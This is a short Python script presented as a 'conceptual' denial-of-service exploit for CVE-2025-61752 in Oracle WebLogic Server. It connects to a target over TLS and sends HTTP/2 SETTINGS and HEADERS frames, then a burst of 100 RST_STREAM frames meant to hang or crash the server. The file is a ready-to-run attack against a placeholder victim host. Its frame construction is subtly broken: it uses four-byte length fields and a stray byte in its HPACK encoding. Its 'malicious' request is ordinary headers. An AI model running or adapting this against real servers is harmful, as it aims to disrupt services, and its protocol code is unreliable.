# CVE-2025-61752 Oracle WebLogic Server HTTP/2 DoS PoC
# This is a conceptual PoC demonstrating the attack vector
# The vulnerability can be triggered via HTTP/2 protocol
import socket
import ssl
import struct
def exploit_weblogic_http2_dos(target_host, target_port, use_tls=True):
"""
Conceptual PoC for CVE-2025-61752
Oracle WebLogic Server HTTP/2 Denial of Service
"""
# Create connection
if use_tls:
context = ssl.create_default_context()
context.set_alpn_protocols(['h2'])
sock = socket.create_connection((target_host, target_port))
sock = context.wrap_socket(sock, server_hostname=target_host)
else:
sock = socket.create_connection((target_host, target_port))
# HTTP/2 connection preface
connection_preface = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
sock.send(connection_preface)
# Send HTTP/2 SETTINGS frame
settings_frame = build_settings_frame()
sock.send(settings_frame)
# Send malicious HTTP/2 HEADERS frame with crafted request
# that triggers the vulnerability in WebLogic Core component
malicious_headers = build_malicious_request(target_host)
sock.send(malicious_headers)
# Send RST_STREAM or continue sending malformed frames
# to cause server hang or crash
for i in range(100):
rst_frame = build_rst_stream_frame(i * 2 + 1, error_code=0x8)
sock.send(rst_frame)
sock.close()
print(f"DoS attack sent to {target_host}:{target_port}")
def build_settings_frame():
# HTTP/2 SETTINGS frame construction
payload = struct.pack('!HH', 0x0003, 100) # MAX_CONCURRENT_STREAMS
payload += struct.pack('!HH', 0x0004, 65535) # INITIAL_WINDOW_SIZE
length = len(payload)
frame = struct.pack('!I', length) + bytes([0x04]) + bytes([0x00]) + struct.pack('!I', 0) + payload
return frame
def build_malicious_request(host):
# Build malicious HTTP/2 HEADERS frame
# targeting WebLogic Server Core component vulnerability
headers = [
(':method', 'POST'),
(':path', '/'),
(':scheme', 'https'),
(':authority', host),
('content-type', 'application/json'),
]
# Encode headers using HPACK
encoded = hpack_encode(headers)
length = len(encoded)
frame = struct.pack('!I', length) + bytes([0x01]) + bytes([0x05]) + struct.pack('!I', 1) + encoded
return frame
def build_rst_stream_frame(stream_id, error_code):
payload = struct.pack('!I', error_code)
length = len(payload)
frame = struct.pack('!I', length) + bytes([0x03]) + bytes([0x00]) + struct.pack('!I', stream_id) + payload
return frame
def hpack_encode(headers):
# Simplified HPACK encoding
result = b'\x00'
for name, value in headers:
result += bytes([0x00]) # Literal header field without indexing
result += bytes([len(name)]) + name.encode()
result += bytes([len(value)]) + value.encode()
return result
if __name__ == "__main__":
# Target vulnerable WebLogic Server
TARGET_HOST = "victim.example.com"
TARGET_PORT = 7002 # WebLogic HTTPS port
exploit_weblogic_http2_dos(TARGET_HOST, TARGET_PORT, use_tls=True)